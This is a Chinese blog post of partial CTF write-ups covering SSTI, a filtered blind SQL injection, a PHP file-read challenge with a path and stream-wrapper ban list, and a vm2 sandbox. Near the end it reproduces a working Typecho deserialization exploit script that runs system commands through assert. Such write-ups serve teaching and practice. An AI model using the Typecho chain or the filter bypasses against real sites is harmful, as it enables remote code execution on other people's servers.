[BJDCTF 2nd]部分wp
据说是萌新赛,就目前做的几个题来说的确较为简单
fake google
SSTI,测一下可以发现用的jinja2,搜一个payload直接打
SSTI上一次的BJDCTF也考过,具体判断什么的可以看上次比赛的WP
buu上的一分题,说实话这个难度我是不相信它只有一分的
打开是一个登录框,简单测试发现添加单引号会出现一个PHP的报错,而不是MySQL的报错,存在注入点,但不可使用报错注入
测了半天,感觉有关键词屏蔽,但是无论如何返回值就三种,登录成功,登录失败,PHP报错。那想直接查询回显也没机会了,只能盲注,并且登录成功啥也不给呜呜呜。
简单测一下发现select,sleep,or,逗号,大小于号,井号还有些七七八八的盲注需要的东西都给禁用了,但是另一个注释符–还能用,最主要的是回显根本没有帮助,完全不知道后台到底在干什么。
后来拿到源码之后看见了超级过滤select|information|insert|union|ascii|,|like|outfile|join|<|>|and|substr|#|or|\|\||sleep|benchmark|if|&&
最后看wp说是堆叠注入,并且使用预处理将语句变为16进制表示,直接绕过超级过滤
感觉是一个外国比赛的签到题,思路很清楚就是不知道怎么实现
题目给了源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page']))
{
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content))
{
$content = "<p>not found</p>\n";
}
}
else
{
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
获取我们的输入用json方式解码,解码前需要将输入内容进行一个过滤,然后再把file_get_contents的内容在进行一次过滤,两次均通过判断即可输出,输出之前再把flag给你替换掉
JS的题,又欺负我不会JS,稍微记一下以后入门用
因为题目提示这可能不是一个PHP站,所以题目中run.php可能是一个故意设置的路由,简单测试之后发现报错完全不是PHP风格,猜测或为python或js。测着测着突然出现了一句TypeError: Cannot read property 'toString' of undefined
,js无误了
后来看别人的wp,js测试的话可以用Error().stack直接查看报错信息,还能获取更多的信息
得到输出
Error
at vm.js:1:1
at Script.runInContext (vm.js:131:20)
at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
at /app/server.js:51:33
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
暑假恢复刷题,顺便把以前堆积的东西也都更新到博客上,清一下桌面
GKCTF这次题感觉好多都是现有CVE之类的东西,然后加一点点
题目是一个typecho的安装流程,但是安装到一半就不给安装了,想了半天不知道他想让我怎样才能安装,后来才知道是typecho在安装时install.php有一个反序列化的任意代码执行。
最后题目还要求反序列化需要一个session,需要自己想办法建立一个session
typecho反序列化的pop链网上都有分析了,抄一个脚本执行任意命令
https://www.freebuf.com/vuls/155753.html
<?php
$CMD = 'system("cat /flag")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>